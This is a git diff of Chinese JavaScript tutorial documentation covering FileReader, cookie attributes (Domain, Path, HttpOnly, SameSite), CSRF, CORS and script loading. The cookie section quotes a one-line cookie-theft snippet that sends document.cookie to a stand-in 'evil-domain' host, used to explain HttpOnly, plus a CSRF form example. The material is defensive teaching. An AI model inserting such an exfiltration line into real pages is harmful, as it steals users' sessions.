+上面代码通过为拖放的图片文件生成一个 URL，产生它们的缩略图，从而使得用户可以预览选择的文件。
+
+浏览器处理 Blob URL 就跟普通的 URL 一样，如果 Blob 对象不存在，返回404状态码；如果跨域请求，返回403状态码。Blob URL 只对 GET 请求有效，如果请求成功，返回200状态码。由于 Blob URL 就是普通 URL，因此可以下载。
+
+### 读取文件
+
+取得 Blob 对象以后，可以通过`FileReader`对象，读取 Blob 对象的内容，即文件内容。
+
+FileReader 对象提供四个方法，处理 Blob 对象。Blob 对象作为参数传入这些方法，然后以指定的格式返回。
+
+- `FileReader.readAsText()`：返回文本，需要指定文本编码，默认为 UTF-8。
+- `FileReader.readAsArrayBuffer()`：返回 ArrayBuffer 对象。
+- `FileReader.readAsDataURL()`：返回 Data URL。
+- `FileReader.readAsBinaryString()`：返回原始的二进制字符串。
+
+下面是`FileReader.readAsText()`方法的例子，用来读取文本文件。
+
+```javascript
+// HTML 代码如下
+// <input type="file" onchange="readfile(this.files[0])"></input>
+// <pre id="output"></pre>
+function readfile(f) {
+  var reader = new FileReader();
+  reader.readAsText(f);
+  reader.onload = function () {
+    var text = reader.result;
+    var out = document.getElementById('output');
+    out.innerHTML = '';
+    out.appendChild(document.createTextNode(text));
+  }
+  reader.onerror = function(e) {
+    console.log('Error', e);
+  };
+}
+```
+
+上面代码中，通过指定 FileReader 实例对象的`onload`监听函数，在实例的`result`属性上拿到文件内容。
+
+下面是`FileReader.readAsArrayBuffer()`方法的例子，用于读取二进制文件。
+
+```javascript
+// HTML 代码如下
+// <input type="file" onchange="typefile(this.files[0])"></input>
+function typefile(file) {
+  // 文件开头的四个字节，生成一个 Blob 对象
+  var slice = file.slice(0, 4);
+  var reader = new FileReader();
+  // 读取这四个字节
+  reader.readAsArrayBuffer(slice);
+  reader.onload = function (e) {
+    var buffer = reader.result;
+    // 将这四个字节的内容，视作一个32位整数
+    var view = new DataView(buffer);
+    var magic = view.getUint32(0, false);
+    // 根据文件的前四个字节，判断它的类型
+    switch(magic) {
+      case 0x89504E47: file.verified_type = 'image/png'; break;
+      case 0x47494638: file.verified_type = 'image/gif'; break;
+      case 0x25504446: file.verified_type = 'application/pdf'; break;
+      case 0x504b0304: file.verified_type = 'application/zip'; break;
+    }
+    console.log(file.name, file.verified_type);
+  };
+}
+```
+
diff --git a/docs/bom/cookie.md b/docs/bom/cookie.md
index 827c75a..e0ae045 100644
--- a/docs/bom/cookie.md
+++ b/docs/bom/cookie.md
@@ -2,43 +2,53 @@
 
 ## 概述
 
-Cookie 是服务器保存在浏览器的一小段文本信息，每个 Cookie 的大小一般不能超过4KB。浏览器每次向服务器发出请求，就会自动附上这段信息。
+Cookie 是服务器保存在浏览器的一小段文本信息，一般大小不能超过4KB。浏览器每次向服务器发出请求，就会自动附上这段信息。
 
-Cookie 主要用来分辨两个请求是否来自同一个浏览器，以及用来保存一些状态信息。它的常用场合有以下一些。
+HTTP 协议不带有状态，有些请求需要区分状态，就通过 Cookie 附带字符串，让服务器返回不一样的回应。举例来说，用户登录以后，服务器往往会在网站上留下一个 Cookie，记录用户编号（比如`id=1234`），以后每次浏览器向服务器请求数据，就会带上这个字符串，服务器从而知道是谁在请求，应该回应什么内容。
 
-- 对话（session）管理：保存登录、购物车等需要记录的信息。
-- 个性化：保存用户的偏好，比如网页的字体大小、背景色等等。
-- 追踪：记录和分析用户行为。
+Cookie 的目的就是区分用户，以及放置状态信息，它的使用场景主要如下。
 
-有些开发者使用 Cookie 作为客户端储存。这样做虽然可行，但是并不推荐，因为 Cookie 的设计目标并不是这个，它的容量很小（4KB），缺乏数据操作接口，而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。
+- 对话（session）管理：保存登录状态、购物车等需要记录的信息。
+- 个性化信息：保存用户的偏好，比如网页的字体大小、背景色等等。
+- 追踪用户：记录和分析用户行为。
 
-Cookie 包含以下几方面的信息。
+Cookie 不是一种理想的客户端存储机制。它的容量很小（4KB），缺乏数据操作接口，而且会影响性能。客户端存储建议使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息，才应该放在 Cookie 里面。
+
+每个 Cookie 都有以下几方面的元数据。
 
 - Cookie 的名字
 - Cookie 的值（真正的数据写在这里面）
-- 到期时间
-- 所属域名（默认是当前域名）
-- 生效的路径（默认是当前网址）
+- 到期时间（超过这个时间会失效）
+- 所属域名（默认为当前域名）
+- 生效的路径（默认为当前网址）
+
+举例来说，用户访问网址`www.example.com`，服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为`www.example.com`，生效路径为根路径`/`。
 
-举例来说，用户访问网址`www.example.com`，服务器在浏览器写入一个 Cookie。这个 Cookie 就会包含`www.example.com`这个域名，以及根路径`/`。这意味着，这个 Cookie 对该域名的根路径和它的所有子路径都有效。如果路径设为`/forums`，那么这个 Cookie 只有在访问`www.example.com/forums`及其子路径时才有效。以后，浏览器一旦访问这个路径，浏览器就会附上这段 Cookie 发送给服务器。
+如果 Cookie 的生效路径设为`/forums`，那么这个 Cookie 只有在访问`www.example.com/forums`及其子路径时才有效。以后，浏览器访问某个路径之前，就会找出对该域名和路径有效，并且还没有到期的 Cookie，一起发送给服务器。
 
-浏览器可以设置不接受 Cookie，也可以设置不向服务器发送 Cookie。`window.navigator.cookieEnabled`属性返回一个布尔值，表示浏览器是否打开 Cookie 功能。
+用户可以设置浏览器不接受 Cookie，也可以设置不向服务器发送 Cookie。`window.navigator.cookieEnabled`属性返回一个布尔值，表示浏览器是否打开 Cookie 功能。
 
 ```javascript
-// 浏览器是否打开 Cookie 功能
 window.navigator.cookieEnabled // true
 ```
 
 `document.cookie`属性返回当前网页的 Cookie。
 
 ```javascript
-// 当前网页的 Cookie
-document.cookie
+document.cookie // "id=foo;key=bar"
+```
+
+不同浏览器对 Cookie 数量和大小的限制，是不一样的。一般来说，单个域名设置的 Cookie 不应超过30个，每个 Cookie 的大小不能超过 4KB。超过限制以后，Cookie 将被忽略，不会被设置。
+
+Cookie 是按照域名区分的，`foo.com`只能读取自己放置的 Cookie，无法读取其他网站（比如`bar.com`）放置的 Cookie。一般情况下，一级域名也不能读取二级域名留下的 Cookie，比如`mydomain.com`不能读取`subdomain.mydomain.com`设置的 Cookie。但是有一个例外，设置 Cookie 的时候（不管是一级域名设置的，还是二级域名设置的），明确将`domain`属性设为一级域名，则这个域名下面的各级域名可以共享这个 Cookie。
+
+```http
+Set-Cookie: name=value; domain=mydomain.com
 ```
 
-不同浏览器对 Cookie 数量和大小的限制，是不一样的。一般来说，单个域名设置的 Cookie 不应超过30个，每个 Cookie 的大小不能超过4KB。超过限制以后，Cookie 将被忽略，不会被设置。
+上面示例中，设置 Cookie 时，`domain`属性设为`mydomain.com`，那么各级的子域名和一级域名都可以读取这个 Cookie。
 
-浏览器的同源政策规定，两个网址只要域名相同和端口相同，就可以共享 Cookie（参见《同源政策》一章）。注意，这里不要求协议相同。也就是说，`http://example.com`设置的 Cookie，可以被`https://example.com`读取。
+注意，区分 Cookie 时不考虑协议和端口。也就是说，`http://example.com`设置的 Cookie，可以被`https://example.com`或`http://example.com:8080`读取。
 
 ## Cookie 与 HTTP 协议
 
@@ -165,15 +175,25 @@ Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
 
 ### Domain，Path
 
-`Domain`属性指定浏览器发出 HTTP 请求时，哪些域名要附带这个 Cookie。如果没有指定该属性，浏览器会默认将其设为当前 URL 的一级域名，比如`www.example.com`会设为`example.com`，而且以后如果访问`example.com`的任何子域名，HTTP 请求也会带上这个 Cookie。如果服务器在`Set-Cookie`字段指定的域名，不属于当前域名，浏览器会拒绝这个 Cookie。
+`Domain`属性指定 Cookie 属于哪个域名，以后浏览器向服务器发送 HTTP 请求时，通过这个属性判断是否要附带某个 Cookie。
+
+服务器设定 Cookie 时，如果没有指定 Domain 属性，浏览器会默认将其设为浏览器的当前域名。如果当前域名是一个 IP 地址，则不得设置 Domain 属性。
+
+如果指定 Domain 属性，需要遵守下面规则：Domain 属性只能是当前域名或者当前域名的上级域名，但设为上级域名时，不能设为顶级域名或公共域名。（顶级域名指的是 .com、.net 这样的域名，公共域名指的是开放给外部用户设置子域名的域名，比如 github.io。）如果不符合上面这条规则，浏览器会拒绝设置这个 Cookie。
+
+举例来说，当前域名为`x.y.z.com`，那么 Domain 属性可以设为`x.y.z.com`，或者`y.z.com`，或者`z.com`，但不能设为`foo.x.y.z.com`，或者`another.domain.com`。
 
-`Path`属性指定浏览器发出 HTTP 请求时，哪些路径要附带这个 Cookie。只要浏览器发现，`Path`属性是 HTTP 请求路径的开头一部分，就会在头信息里面带上这个 Cookie。比如，`PATH`属性是`/`，那么请求`/docs`路径也会包含该 Cookie。当然，前提是域名必须一致。
+另一个例子是，当前域名为`wangdoc.github.io`，则 Domain 属性只能设为`wangdoc.github.io`，不能设为`github.io`，因为后者是一个公共域名。
+
+浏览器发送 Cookie 时，Domain 属性必须与当前域名一致，或者是当前域名的上级域名（公共域名除外）。比如，Domain 属性是`y.z.com`，那么适用于`y.z.com`、`x.y.z.com`、`foo.x.y.z.com`等域名。再比如，Domain 属性是公共域名`github.io`，那么只适用于`github.io`这个域名本身，不适用于它的子域名`wangdoc.github.io`。
+
+`Path`属性指定浏览器发出 HTTP 请求时，哪些路径要附带这个 Cookie。只要浏览器发现，`Path`属性是 HTTP 请求路径的开头一部分，就会在头信息里面带上这个 Cookie。比如，`Path`属性是`/`，那么请求`/docs`路径也会包含该 Cookie。当然，前提是 Domain 属性必须符合条件。
 
 ### Secure，HttpOnly
 
 `Secure`属性指定浏览器只有在加密协议 HTTPS 下，才能将这个 Cookie 发送到服务器。另一方面，如果当前协议是 HTTP，浏览器会自动忽略服务器发来的`Secure`属性。该属性只是一个开关，不需要指定值。如果通信是 HTTPS 协议，该开关自动打开。
 
-`HttpOnly`属性指定该 Cookie 无法通过 JavaScript 脚本拿到，主要是`Document.cookie`属性、`XMLHttpRequest`对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到，只有浏览器发出 HTTP 请求时，才会带上该 Cookie。
+`HttpOnly`属性指定该 Cookie 无法通过 JavaScript 脚本拿到，主要是`document.cookie`属性、`XMLHttpRequest`对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到，只有浏览器发出 HTTP 请求时，才会带上该 Cookie。
 
 ```javascript
 (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
@@ -181,6 +201,95 @@ Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;
 
 上面是跨站点载入的一个恶意脚本的代码，能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的`HttpOnly`属性，上面代码就不会读到该 Cookie。
 
+### SameSite
+
+Chrome 51 开始，浏览器的 Cookie 新增加了一个`SameSite`属性，用来防止 CSRF 攻击和用户追踪。
+
+Cookie 往往用来存储用户的身份信息，恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求，这就是 CSRF 攻击。举例来说，用户登陆了银行网站`your-bank.com`，银行服务器发来了一个 Cookie。
+
+```http
+Set-Cookie:id=a3fWa;
+```
+
+用户后来又访问了恶意网站`malicious.com`，上面有一个表单。
+
+```html
+<form action="your-bank.com/transfer" method="POST">
+  ...
+</form>
+```
+
+用户一旦被诱骗发送这个表单，银行网站就会收到带有正确 Cookie 的请求。为了防止这种攻击，官网的表单一般都带有一个随机 token，官网服务器通过验证这个随机 token，确认是否为真实请求。
+
+```html
+<form action="your-bank.com/transfer" method="POST">
+  <input type="hidden" name="token" value="dad3weg34">
+  ...
+</form>
+```
+
+这种第三方网站引导而附带发送的 Cookie，就称为第三方 Cookie。它除了用于 CSRF 攻击，还可以用于用户追踪。比如，Facebook 在第三方网站插入一张看不见的图片。
+
+```html
+<img src="facebook.com" style="visibility:hidden;">
+```
+
+浏览器加载上面代码时，就会向 Facebook 发出带有 Cookie 的请求，从而 Facebook 就会知道你是谁，访问了什么网站。
+
+Cookie 的`SameSite`属性用来限制第三方 Cookie，从而减少安全风险。它可以设置三个值。
+
+> - Strict
+> - Lax
+> - None
+
+**（1）Strict**
+
+`Strict`最为严格，完全禁止第三方 Cookie，跨站点时，任何情况下都不会发送 Cookie。换言之，只有当前网页的 URL 与请求目标一致，才会带上 Cookie。
+
+```http
+Set-Cookie: CookieName=CookieValue; SameSite=Strict;
+```
+
+这个规则过于严格，可能造成非常不好的用户体验。比如，当前网页有一个 GitHub 链接，用户点击跳转就不会带有 GitHub 的 Cookie，跳转过去总是未登陆状态。
+
+**（2）Lax**
+
+`Lax`规则稍稍放宽，大多数情况也是不发送第三方 Cookie，但是导航到目标网址的 Get 请求除外。
+
+```html
+Set-Cookie: CookieName=CookieValue; SameSite=Lax;
+```
+
+导航到目标网址的 GET 请求，只包括三种情况：链接，预加载请求，GET 表单。详见下表。
+
+| 请求类型  |                 示例                 |    正常情况 | Lax         |
+|-----------|:------------------------------------:|------------:|-------------|
+| 链接      | `<a href="..."></a>`                 | 发送 Cookie | 发送 Cookie |
+| 预加载    | `<link rel="prerender" href="..."/>` | 发送 Cookie | 发送 Cookie |
+| GET 表单  | `<form method="GET" action="...">`   | 发送 Cookie | 发送 Cookie |
+| POST 表单 | `<form method="POST" action="...">`  | 发送 Cookie | 不发送      |
+| iframe    | `<iframe src="..."></iframe>`        | 发送 Cookie | 不发送      |
+| AJAX      | `$.get("...")`                       | 发送 Cookie | 不发送      |
+| Image     | `<img src="...">`                    | 发送 Cookie | 不发送      |
+
+设置了`Strict`或`Lax`以后，基本就杜绝了 CSRF 攻击。当然，前提是用户浏览器支持 SameSite 属性。
+
+**（3）None**
+
+Chrome 计划将`Lax`变为默认设置。这时，网站可以选择显式关闭`SameSite`属性，将其设为`None`。不过，前提是必须同时设置`Secure`属性（Cookie 只能通过 HTTPS 协议发送），否则无效。
+
+下面的设置无效。
+
+```text
+Set-Cookie: widget_session=abc123; SameSite=None
+```
+
+下面的设置有效。
+
+```text
+Set-Cookie: widget_session=abc123; SameSite=None; Secure
+```
+
 ## document.cookie
 
 `document.cookie`属性用于读写当前网页的 Cookie。
@@ -233,7 +342,7 @@ document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
 各个属性的写入注意点如下。
 
 - `path`属性必须为绝对路径，默认为当前路径。
-- `domain`属性值必须是当前发送 Cookie 的域名的一部分。比如，当前域名是`example.com`，就不能将其设为`foo.com`。该属性默认为当前的一级域名（不含二级域名）。
+- `domain`属性值必须是当前发送 Cookie 的域名的一部分。比如，当前域名是`example.com`，就不能将其设为`foo.com`。该属性默认为当前的一级域名（不含二级域名）。如果显式设置该属性，则该域名的任意子域名也可以读取 Cookie。
 - `max-age`属性的值为秒数。
 - `expires`属性的值为 UTC 格式，可以使用`Date.prototype.toUTCString()`进行日期格式转换。
 
@@ -243,9 +352,11 @@ document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";
 document.cookie = 'fontSize=14; '
   + 'expires=' + someDate.toGMTString() + '; '
   + 'path=/subdirectory; '
-  + 'domain=*.example.com';
+  + 'domain=example.com';
 ```
 
+注意，上面的`domain`属性，以前的写法是`.example.com`，表示子域名也可以读取该 Cookie，新的写法可以省略前面的点。
+
 Cookie 的属性一旦设置完成，就没有办法读取这些属性的值。
 
 删除一个现存 Cookie 的唯一方法，是设置它的`expires`属性为一个过去的日期。
@@ -259,4 +370,8 @@ document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';
 ## 参考链接
 
 - [HTTP cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies), by MDN
+- [Using the Same-Site Cookie Attribute to Prevent CSRF Attacks](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/)
+- [SameSite cookies explained](https://web.dev/samesite-cookies-explained)
+- [Tough Cookies](https://scotthelme.co.uk/tough-cookies/), Scott Helme
+- [Cross-Site Request Forgery is dead!](https://scotthelme.co.uk/csrf-is-dead/), Scott Helme
 
diff --git a/docs/bom/cors.md b/docs/bom/cors.md
index fd4c976..566e1f0 100644
--- a/docs/bom/cors.md
+++ b/docs/bom/cors.md
@@ -1,12 +1,12 @@
 # CORS 通信
 
-CORS 是一个 W3C 标准，全称是“跨域资源共享”（Cross-origin resource sharing）。它允许浏览器向跨域的服务器，发出`XMLHttpRequest`请求，从而克服了AJAX只能同源使用的限制。
+CORS 是一个 W3C 标准，全称是“跨源资源共享”（Cross-origin resource sharing），或者通俗地称为“跨域资源共享”。它允许浏览器向跨源的服务器，发出`XMLHttpRequest`请求，从而克服了 AJAX 只能同源使用的限制。
 
 ## 简介
 
 CORS 需要浏览器和服务器同时支持。目前，所有浏览器都支持该功能。
 
-整个 CORS 通信过程，都是浏览器自动完成，不需要用户参与。对于开发者来说，CORS 通信与普通的 AJAX 通信没有差别，代码完全一样。浏览器一旦发现 AJAX 请求跨域，就会自动添加一些附加的头信息，有时还会多出一次附加的请求，但用户不会有感知。因此，实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口，就可以跨域通信。
+整个 CORS 通信过程，都是浏览器自动完成，不需要用户参与。对于开发者来说，CORS 通信与普通的 AJAX 通信没有差别，代码完全一样。浏览器一旦发现 AJAX 请求跨源，就会自动添加一些附加的头信息，有时还会多出一次附加的请求，但用户不会有感知。因此，实现 CORS 通信的关键是服务器。只要服务器实现了 CORS 接口，就可以跨源通信。
 
 ## 两种请求
 
@@ -30,7 +30,7 @@ CORS 请求分成两类：简单请求（simple request）和非简单请求（n
 
 凡是不同时满足上面两个条件，就属于非简单请求。一句话，简单请求就是简单的 HTTP 方法与简单的 HTTP 头信息的结合。
 
-这样划分的原因是，表单在历史上一直可以跨域发出请求。简单请求就是表单请求，浏览器沿袭了传统的处理方式，不把行为复杂化，否则开发者可能转而使用表单，规避 CORS 的限制。对于非简单请求，浏览器会采用新的处理方式。
+这样划分的原因是，表单在历史上一直可以跨源发出请求。简单请求就是表单请求，浏览器沿袭了传统的处理方式，不把行为复杂化，否则开发者可能转而使用表单，规避 CORS 的限制。对于非简单请求，浏览器会采用新的处理方式。
 
 ## 简单请求
 
@@ -38,7 +38,7 @@ CORS 请求分成两类：简单请求（simple request）和非简单请求（n
 
 对于简单请求，浏览器直接发出 CORS 请求。具体来说，就是在头信息之中，增加一个`Origin`字段。
 
-下面是一个例子，浏览器发现这次跨域 AJAX 请求是简单请求，就自动在头信息之中，添加一个`Origin`字段。
+下面是一个例子，浏览器发现这次跨源 AJAX 请求是简单请求，就自动在头信息之中，添加一个`Origin`字段。
 
 ```http
 GET /cors HTTP/1.1
@@ -78,28 +78,28 @@ Content-Type: text/html; charset=utf-8
 
 ### withCredentials 属性
 
-上面说到，CORS 请求默认不包含 Cookie 信息（以及 HTTP 认证信息等）。如果需要包含 Cookie 信息，一方面要服务器同意，指定`Access-Control-Allow-Credentials`字段。
+上面说到，CORS 请求默认不包含 Cookie 信息（以及 HTTP 认证信息等），这是为了降低 CSRF 攻击的风险。但是某些场合，服务器可能需要拿到 Cookie，这时需要服务器显式指定`Access-Control-Allow-Credentials`字段，告诉浏览器可以发送 Cookie。
 
 ```http
 Access-Control-Allow-Credentials: true
 ```
 
-另一方面，开发者必须在 AJAX 请求中打开`withCredentials`属性。
+同时，开发者必须在 AJAX 请求中打开`withCredentials`属性。
 
 ```javascript
 var xhr = new XMLHttpRequest();
 xhr.withCredentials = true;
 ```
 
-否则，即使服务器同意发送 Cookie，浏览器也不会发送。或者，服务器要求设置 Cookie，浏览器也不会处理。
+否则，即使服务器要求发送 Cookie，浏览器也不会发送。或者，服务器要求设置 Cookie，浏览器也不会处理。
 
-但是，如果省略`withCredentials`设置，有的浏览器还是会一起发送 Cookie。这时，可以显式关闭`withCredentials`。
+但是，有的浏览器默认将`withCredentials`属性设为`true`。这导致如果省略`withCredentials`设置，这些浏览器可能还是会一起发送 Cookie。这时，可以显式关闭`withCredentials`。
 
 ```javascript
 xhr.withCredentials = false;
 ```
 
-需要注意的是，如果要发送 Cookie，`Access-Control-Allow-Origin`就不能设为星号，必须指定明确的、与请求网页一致的域名。同时，Cookie 依然遵循同源政策，只有用服务器域名设置的 Cookie 才会上传，其他域名的 Cookie 并不会上传，且（跨域）原网页代码中的`document.cookie`也无法读取服务器域名下的 Cookie。
+需要注意的是，如果服务器要求浏览器发送 Cookie，`Access-Control-Allow-Origin`就不能设为星号，必须指定明确的、与请求网页一致的域名。同时，Cookie 依然遵循同源政策，只有用服务器域名设置的 Cookie 才会上传，其他域名的 Cookie 并不会上传，且（跨源）原网页代码中的`document.cookie`也无法读取服务器域名下的 Cookie。
 
 ## 非简单请求
 
@@ -107,7 +107,7 @@ xhr.withCredentials = false;
 
 非简单请求是那种对服务器提出特殊要求的请求，比如请求方法是`PUT`或`DELETE`，或者`Content-Type`字段的类型是`application/json`。
 
-非简单请求的 CORS 请求，会在正式通信之前，增加一次 HTTP 查询请求，称为“预检”请求（preflight）。浏览器先询问服务器，当前网页所在的域名是否在服务器的许可名单之中，以及可以使用哪些 HTTP 动词和头信息字段。只有得到肯定答复，浏览器才会发出正式的`XMLHttpRequest`请求，否则就报错。这是为了防止这些新增的请求，对传统的没有 CORS 支持的服务器形成压力，给服务器一个提前拒绝的机会，这样可以防止服务器大量收到`DELETE`和`PUT`请求，这些传统的表单不可能跨域发出的请求。
+非简单请求的 CORS 请求，会在正式通信之前，增加一次 HTTP 查询请求，称为“预检”请求（preflight）。浏览器先询问服务器，当前网页所在的域名是否在服务器的许可名单之中，以及可以使用哪些 HTTP 方法和头信息字段。只有得到肯定答复，浏览器才会发出正式的`XMLHttpRequest`请求，否则就报错。这是为了防止这些新增的请求，对传统的没有 CORS 支持的服务器形成压力，给服务器一个提前拒绝的机会，这样可以防止服务器收到大量`DELETE`和`PUT`请求，这些传统的表单不可能跨源发出的请求。
 
 下面是一段浏览器的 JavaScript 脚本。
 
@@ -162,7 +162,6 @@ Content-Encoding: gzip
 Content-Length: 0
 Keep-Alive: timeout=2, max=100
 Connection: Keep-Alive
-Content-Type: text/plain
 ```
 
 上面的 HTTP 回应中，关键的是`Access-Control-Allow-Origin`字段，表示`http://api.bob.com`可以请求数据。该字段也可以设为星号，表示同意任意跨源请求。
@@ -200,7 +199,7 @@ Access-Control-Max-Age: 1728000
 
 **（1）`Access-Control-Allow-Methods`**
 
-该字段必需，它的值是逗号分隔的一个字符串，表明服务器支持的所有跨域请求的方法。注意，返回的是所有支持的方法，而不单是浏览器请求的那个方法。这是为了避免多次“预检”请求。
+该字段必需，它的值是逗号分隔的一个字符串，表明服务器支持的所有跨源请求的方法。注意，返回的是所有支持的方法，而不单是浏览器请求的那个方法。这是为了避免多次“预检”请求。
 
 **（2）`Access-Control-Allow-Headers`**
 
@@ -247,7 +246,7 @@ CORS 与 JSONP 的使用目的相同，但是比 JSONP 更强大。JSONP 只支
 
 ## 参考链接
 
-- Monsur Hossain, [Using CORS](http://www.html5rocks.com/en/tutorials/cors/)
-- MDN, [HTTP access control (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS)
-- Ryan Miller, [CORS](https://frontendian.co/cors)
-
+- [Using CORS](http://www.html5rocks.com/en/tutorials/cors/), Monsur Hossain
+- [HTTP access control (CORS)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS), MDN
+- [CORS](https://frontendian.co/cors), Ryan Miller
+- [Do You Really Know CORS?](http://performantcode.com/web/do-you-really-know-cors), Grzegorz Mirek
diff --git a/docs/bom/engine.md b/docs/bom/engine.md
index 6cf4289..8c0761e 100644
--- a/docs/bom/engine.md
+++ b/docs/bom/engine.md
@@ -6,7 +6,7 @@ JavaScript 是浏览器的内置脚本语言。也就是说，浏览器内置了
 
 ## 代码嵌入网页的方法
 
-网页中嵌入 JavaScript 代码，主要有三种方法。
+网页中嵌入 JavaScript 代码，主要有四种方法。
 
 - `<script>`元素直接嵌入代码。
 - `<script>`标签加载外部脚本
@@ -15,7 +15,7 @@ JavaScript 是浏览器的内置脚本语言。也就是说，浏览器内置了
 
 ### script 元素嵌入代码
 
-`<script>`元素内部可以直接写 JavaScript 代码。
+`<script>`元素内部可以直接写入 JavaScript 代码。
 
 ```html
 <script>
@@ -24,7 +24,7 @@ JavaScript 是浏览器的内置脚本语言。也就是说，浏览器内置了
 </script>
 ```
 
-`<script>`标签有一个`type`属性，用来指定脚本类型。对JavaScript脚本来说，`type`属性可以设为两种值。
+`<script>`标签有一个`type`属性，用来指定脚本类型。对 JavaScript 脚本来说，`type`属性可以设为两种值。
 
 - `text/javascript`：这是默认值，也是历史上一贯设定的值。如果你省略`type`属性，默认就是这个值。对于老式浏览器，设为这个值比较好。
 - `application/javascript`：对于较新的浏览器，建议设为这个值。
@@ -104,7 +104,7 @@ URL 支持`javascript:`协议，即在 URL 的位置写入代码，使用这个
 <a href="javascript:console.log('Hello')">点击</a>
 ```
 
-浏览器的地址栏也可以执行`javascipt:`协议。将`javascript:console.log('Hello')`放入地址栏，按回车键也会执行这段代码。
+浏览器的地址栏也可以执行`javascript:`协议。将`javascript:console.log('Hello')`放入地址栏，按回车键也会执行这段代码。
 
 如果 JavaScript 代码返回一个字符串，浏览器就会新建一个文档，展示这个字符串的内容，原有文档的内容都会消失。
 
@@ -139,8 +139,8 @@ URL 支持`javascript:`协议，即在 URL 的位置写入代码，使用这个
 
 1. 浏览器一边下载 HTML 网页，一边开始解析。也就是说，不等到下载完，就开始解析。
 2. 解析过程中，浏览器发现`<script>`元素，就暂停解析，把网页渲染的控制权转交给 JavaScript 引擎。
-4. 如果`<script>`元素引用了外部脚本，就下载该脚本再执行，否则就直接执行代码。
-5. JavaScript 引擎执行完毕，控制权交还渲染引擎，恢复往下解析 HTML 网页。
+3. 如果`<script>`元素引用了外部脚本，就下载该脚本再执行，否则就直接执行代码。
+4. JavaScript 引擎执行完毕，控制权交还渲染引擎，恢复往下解析 HTML 网页。
 
 加载外部脚本时，浏览器会暂停页面渲染，等待脚本下载并执行完成后，再继续渲染。原因是 JavaScript 代码可以修改 DOM，所以必须把控制权让给它，否则会导致复杂的线程竞赛的问题。
 
@@ -372,13 +372,13 @@ foo.style.marginTop = '30px';
 - 使用`documentFragment`操作 DOM
 - 动画使用`absolute`定位或`fixed`定位，这样可以减少对其他元素的影响。
 - 只在必要时才显示隐藏元素。
-- 使用`window.requestAnimationFrame()`，因为它可以把代码推迟到下一次重流时执行，而不是立即要求页面重流。
-- 使用虚拟DOM（virtual DOM）库。
+- 使用`window.requestAnimationFrame()`，因为它可以把代码推迟到下一次重绘之前执行，而不是立即要求页面重绘。
+- 使用虚拟 DOM（virtual DOM）库。
 
 下面是一个`window.requestAnimationFrame()`对比效果的例子。
 
 ```javascript
-// 重绘代价高
+// 重流代价高
 function doubleHeight(element) {
   var currentHeight = element.clientHeight;
   element.style.height = (currentHeight * 2) + 'px';
@@ -415,25 +415,25 @@ JavaScript 是一种解释型语言，也就是说，它不需要编译，由解
 3. 使用“翻译器”（translator），将代码转为字节码（bytecode）。
 4. 使用“字节码解释器”（bytecode interpreter），将字节码转为机器码。
 
-逐行解释将字节码转为机器码，是很低效的。为了提高运行速度，现代浏览器改为采用“即时编译”（Just In Time compiler，缩写JIT），即字节码只在运行时编译，用到哪一行就编译哪一行，并且把编译结果缓存（inline cache）。通常，一个程序被经常用到的，只是其中一小部分代码，有了缓存的编译结果，整个程序的运行速度就会显著提升。
+逐行解释将字节码转为机器码，是很低效的。为了提高运行速度，现代浏览器改为采用“即时编译”（Just In Time compiler，缩写 JIT），即字节码只在运行时编译，用到哪一行就编译哪一行，并且把编译结果缓存（inline cache）。通常，一个程序被经常用到的，只是其中一小部分代码，有了缓存的编译结果，整个程序的运行速度就会显著提升。
 
-字节码不能直接运行，而是运行在一个虚拟机（Virtual Machine）之上，一般也把虚拟机称为 JavaScript 引擎。并非所有的 JavaScript 虚拟机运行时都有字节码，有的 JavaScript 虚拟机基于源码，即只要有可能，就通过JIT（just in time）编译器直接把源码编译成机器码运行，省略字节码步骤。这一点与其他采用虚拟机（比如 Java）的语言不尽相同。这样做的目的，是为了尽可能地优化代码、提高性能。下面是目前最常见的一些JavaScript虚拟机：
+字节码不能直接运行，而是运行在一个虚拟机（Virtual Machine）之上，一般也把虚拟机称为 JavaScript 引擎。并非所有的 JavaScript 虚拟机运行时都有字节码，有的 JavaScript 虚拟机基于源码，即只要有可能，就通过 JIT（just in time）编译器直接把源码编译成机器码运行，省略字节码步骤。这一点与其他采用虚拟机（比如 Java）的语言不尽相同。这样做的目的，是为了尽可能地优化代码、提高性能。下面是目前最常见的一些 JavaScript 虚拟机：
 
-- [Chakra](http://en.wikipedia.org/wiki/Chakra_(JScript_engine\))(Microsoft Internet Explorer)
+- [Chakra](https://en.wikipedia.org/wiki/Chakra_(JScript_engine)) (Microsoft Internet Explorer)
 - [Nitro/JavaScript Core](http://en.wikipedia.org/wiki/WebKit#JavaScriptCore) (Safari)
 - [Carakan](http://dev.opera.com/articles/view/labs-carakan/) (Opera)
 - [SpiderMonkey](https://developer.mozilla.org/en-US/docs/SpiderMonkey) (Firefox)
-- [V8](http://en.wikipedia.org/wiki/V8_(JavaScript_engine\)) (Chrome, Chromium)
+- [V8](https://en.wikipedia.org/wiki/Chrome_V8) (Chrome, Chromium)
 
 ## 参考链接
 
 - John Dalziel, [The race for speed part 2: How JavaScript compilers work](http://creativejs.com/2013/06/the-race-for-speed-part-2-how-javascript-compilers-work/)
-- Jake Archibald，[Deep dive into the murky waters of script loading](http://www.html5rocks.com/en/tutorials/speed/script-loading/)
+- Jake Archibald, [Deep dive into the murky waters of script loading](http://www.html5rocks.com/en/tutorials/speed/script-loading/)
